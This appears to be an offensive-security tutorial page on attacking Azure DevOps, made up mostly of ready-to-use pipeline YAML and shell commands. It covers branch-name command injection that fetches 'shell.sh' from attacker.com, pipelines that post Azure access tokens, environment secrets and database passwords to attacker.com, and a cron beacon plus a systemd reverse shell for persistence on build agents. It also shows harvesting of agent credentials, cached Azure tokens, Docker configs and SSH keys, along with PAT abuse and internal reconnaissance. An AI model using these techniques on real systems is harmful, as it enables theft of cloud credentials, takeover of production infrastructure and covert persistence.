🔥 Advanced
Azure DevOps Attacks
Azure DevOps (ADO) is deeply embedded in enterprise environments. Service connections, variable groups, and pipelines are high-value targets for lateral movement into Azure and beyond.
Enterprise Goldmine
ADO often has service connections to production Azure subscriptions, AWS accounts, and Kubernetes clusters. Compromise ADO = compromise everything it deploys to.
ADO Attack Surface
🔗
Service Connections
Azure, AWS, K8s, Docker
📦
Variable Groups
Secrets, configs
🏃
Agent Pools
Self-hosted runners
Pipeline Injection
ADO pipelines use YAML similar to GitHub Actions. Same injection risks apply:
bash
# azure-pipelines.yml - VULNERABLE pattern
trigger:
- main
pool:
vmImage: ubuntu-latest
steps:
# VULNERABLE: User-controlled input in script
- script: |
echo "Building PR: $(System.PullRequest.SourceBranch)"
echo "Commit message: $(Build.SourceVersionMessage)"
displayName: 'Build Info'
# ATTACK: Create PR with branch name or commit message:
# ; curl https://attacker.com/shell.sh | bash #
# Exfiltrate service connection creds
- task: AzureCLI@2
inputs:
azureSubscription: 'Production-Azure' # Service connection
scriptType: 'bash'
scriptLocation: 'inlineScript'
inlineScript: |
# These are now available!
az account get-access-token --query accessToken -o tsv | \
curl -X POST -d @- https://attacker.com/azure-tokenService Connection Abuse
The Crown Jewels
Service connections store credentials for Azure subscriptions, AWS accounts, Kubernetes clusters, and more. If you can access them, you own the connected infrastructure.
bash
# List service connections (requires Project Admin or endpoint reader)
# Via REST API:
curl -u :PAT "https://dev.azure.com/ORG/PROJECT/_apis/serviceendpoint/endpoints?api-version=7.0"
# Service connection types to look for:
# - azurerm (Azure Resource Manager)
# - aws (AWS IAM)
# - kubernetes (K8s clusters)
# - docker (Container registries)
# - ssh (SSH endpoints)
# Using az devops CLI
az devops service-endpoint list --organization https://dev.azure.com/ORG --project PROJECT
# If you have pipeline access, use the connection in your pipeline:
- task: AzureCLI@2
inputs:
azureSubscription: 'Prod-ServiceConnection'
scriptType: bash
scriptLocation: inlineScript
inlineScript: |
# Now you have Azure access!
az account show
az keyvault list
az vm list --query "[].{Name:name,IP:publicIps}"Variable Group Extraction
bash
# Variable groups store secrets used across pipelines
# List variable groups
curl -u :PAT "https://dev.azure.com/ORG/PROJECT/_apis/distributedtask/variablegroups?api-version=7.0"
# Get specific variable group (secrets will be masked)
curl -u :PAT "https://dev.azure.com/ORG/PROJECT/_apis/distributedtask/variablegroups/GROUP_ID?api-version=7.0"
# To extract secrets, use them in a pipeline:
variables:
- group: 'Production-Secrets' # Links the variable group
steps:
- script: |
# Secrets are in environment, exfiltrate them
env | grep -v "^_" | curl -X POST -d @- https://attacker.com/vars
# Or specific variables
echo "DB_PASSWORD=$(DB_PASSWORD)" | base64 | curl -d @- https://attacker.com/
displayName: 'Exfil'
# Key Vault linked variable groups
# These pull secrets from Azure Key Vault at runtime
# Even more valuable - gives you Key Vault access!Self-Hosted Agent Attacks
bash
# Self-hosted agents run on customer infrastructure
# Often have network access to internal systems
# Persistence on agent
- script: |
# Cron job for persistence
echo "* * * * * curl -s attacker.com/beacon.sh | bash" | crontab -
# Or systemd service
cat > /tmp/backdoor.service << EOF
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
Restart=always
EOF
sudo mv /tmp/backdoor.service /etc/systemd/system/
sudo systemctl enable backdoor && sudo systemctl start backdoor
displayName: 'Build'
# Credential harvesting from agent
- script: |
# Agent credentials stored in .credentials file
cat /home/vsts/agent/.credentials
# Azure CLI cached tokens
cat ~/.azure/accessTokens.json
# Docker configs
cat ~/.docker/config.json
# SSH keys
ls -la ~/.ssh/
displayName: 'Harvest'
# Network reconnaissance from agent
- script: |
# Often on internal network
ip addr
cat /etc/resolv.conf
nmap -sn 10.0.0.0/24
curl http://169.254.169.254/metadata/instance?api-version=2021-02-01 -H "Metadata:true"
displayName: 'Recon'PAT Token Abuse
bash
# PATs are often overprivileged and long-lived
# If you find a PAT, test its permissions:
# Check token scope
curl -u :PAT "https://dev.azure.com/ORG/_apis/connectionData"
# List all projects
curl -u :PAT "https://dev.azure.com/ORG/_apis/projects?api-version=7.0"
# List repos
curl -u :PAT "https://dev.azure.com/ORG/PROJECT/_apis/git/repositories?api-version=7.0"
# Clone repos (PAT as password)
git clone https://ORG@dev.azure.com/ORG/PROJECT/_git/REPO
# When prompted, use PAT as password
# List pipelines
curl -u :PAT "https://dev.azure.com/ORG/PROJECT/_apis/pipelines?api-version=7.0"
# Queue a pipeline run (if permitted)
curl -X POST -u :PAT \
-H "Content-Type: application/json" \
-d '{"resources":{"repositories":{"self":{"refName":"refs/heads/main"}}}}' \
"https://dev.azure.com/ORG/PROJECT/_apis/pipelines/PIPELINE_ID/runs?api-version=7.0"Pipeline Permissions
bash
# ADO has complex permission model
# Key areas to check:
# 1. Pipeline permissions on service connections
# Some connections allow "all pipelines" - any pipeline in project can use it
# 2. Variable group permissions
# Check if your pipeline can access sensitive variable groups
# 3. Environment approvals
# Production environments may have approval gates - can you bypass?
# List environments
curl -u :PAT "https://dev.azure.com/ORG/PROJECT/_apis/distributedtask/environments?api-version=7.0"
# Check environment permissions
curl -u :PAT "https://dev.azure.com/ORG/PROJECT/_apis/pipelines/pipelinePermissions/environment/ENV_ID?api-version=7.0-preview"
# Pipeline authorization for resources
# If "Allow all pipelines", your malicious pipeline can use prod creds!Enumeration Checklist
bash
# Install Azure DevOps CLI extension
az extension add --name azure-devops
az devops configure --defaults organization=https://dev.azure.com/ORG
# List all projects
az devops project list
# List repos in project
az repos list --project PROJECT
# List pipelines
az pipelines list --project PROJECT
# List service connections
az devops service-endpoint list --project PROJECT
# Search code for secrets
az repos search "password" --project PROJECT
# Get pipeline YAML
az pipelines show --id PIPELINE_ID --project PROJECT
# List variable groups
az pipelines variable-group list --project PROJECT